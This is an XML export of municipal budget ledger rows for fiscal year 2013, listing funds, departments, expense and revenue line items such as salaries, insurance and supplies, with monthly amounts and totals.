<row _id="2087"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>560010.0</object><object_description>SCADA O &amp; M</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>26556.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26556.0</total></row>
<row _id="2088"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>404580.0</object><object_description>BAYSAVER FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-80000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-80000.0</total></row>
<row _id="2089"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>404580.0</object><object_description>BAYSAVER FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-18600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-18600.0</total></row>
<row _id="2090"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15987.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15987.0</total></row>
<row _id="2091"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>768575.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>7686</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>776261.0</total></row>
<row _id="2092"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1923.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>19</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1942.0</total></row>
<row _id="2093"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1535.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1535.0</total></row>
<row _id="2094"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>209.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>209.0</total></row>
<row _id="2095"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>968.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>10</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>978.0</total></row>
<row _id="2096"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7880.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7880.0</total></row>
<row _id="2097"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>450.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>450.0</total></row>
<row _id="2098"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>105.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>105.0</total></row>
<row _id="2099"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1506.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1506.0</total></row>
<row _id="2100"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8020.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8020.0</total></row>
<row _id="2101"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12052.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>850</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12902.0</total></row>
<row _id="2102"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>938.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>65</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1003.0</total></row>
<row _id="2103"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1513.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>95</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1608.0</total></row>
<row _id="2104"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4750.0</total></row>
<row _id="2105"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10200.0</total></row>
<row _id="2106"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>978903.0</july><august>0</august><september>0.0</september><october>-6672.0</october><november>0</november><december>0</december><january>0.0</january><february>9746</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>981977.0</total></row>
<row _id="2107"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>63166.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>632</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>63798.0</total></row>
<row _id="2108"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="2109"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="2110"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>177281.0</july><august>0</august><september>0.0</september><october>-2561.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>174720.0</total></row>
<row _id="2111"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>76.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>76.0</total></row>
<row _id="2112"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407400.0</object><object_description>STATE RECYCLING PROGRAM</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-44500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-44500.0</total></row>
<row _id="2113"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1025.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="2114"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4300.0</total></row>
<row _id="2115"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>40000</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="2116"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>765.0</july><august>0</august><september>0.0</september><october>75.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>840.0</total></row>
<row _id="2117"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544860.0</object><object_description>SUMMER FOOD SERVICE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>22045.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>22045.0</total></row>
<row _id="2118"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2054.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>205</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2259.0</total></row>
<row _id="2119"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>326946.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>34754</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>361700.0</total></row>
<row _id="2120"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400980.0</object><object_description>SURF &amp; SAND APPLICATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="2121"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5477.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>55</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5532.0</total></row>
<row _id="2122"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3119.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3119.0</total></row>
<row _id="2123"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3408.0</july><august>0</august><september>0.0</september><october>640.0</october><november>0</november><december>0</december><january>0.0</january><february>342</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4390.0</total></row>
<row _id="2124"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2695.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>27</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2722.0</total></row>
<row _id="2125"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1838.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1838.0</total></row>
<row _id="2126"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>420.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>420.0</total></row>
<row _id="2127"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2145.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>21</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2166.0</total></row>
<row _id="2128"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>786.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>786.0</total></row>
<row _id="2129"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3090.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3090.0</total></row>
<row _id="2130"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2172.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2172.0</total></row>
<row _id="2131"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>313.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
<row _id="2132"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5742.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>57</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5799.0</total></row>
<row _id="2133"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3702.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>37</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3739.0</total></row>
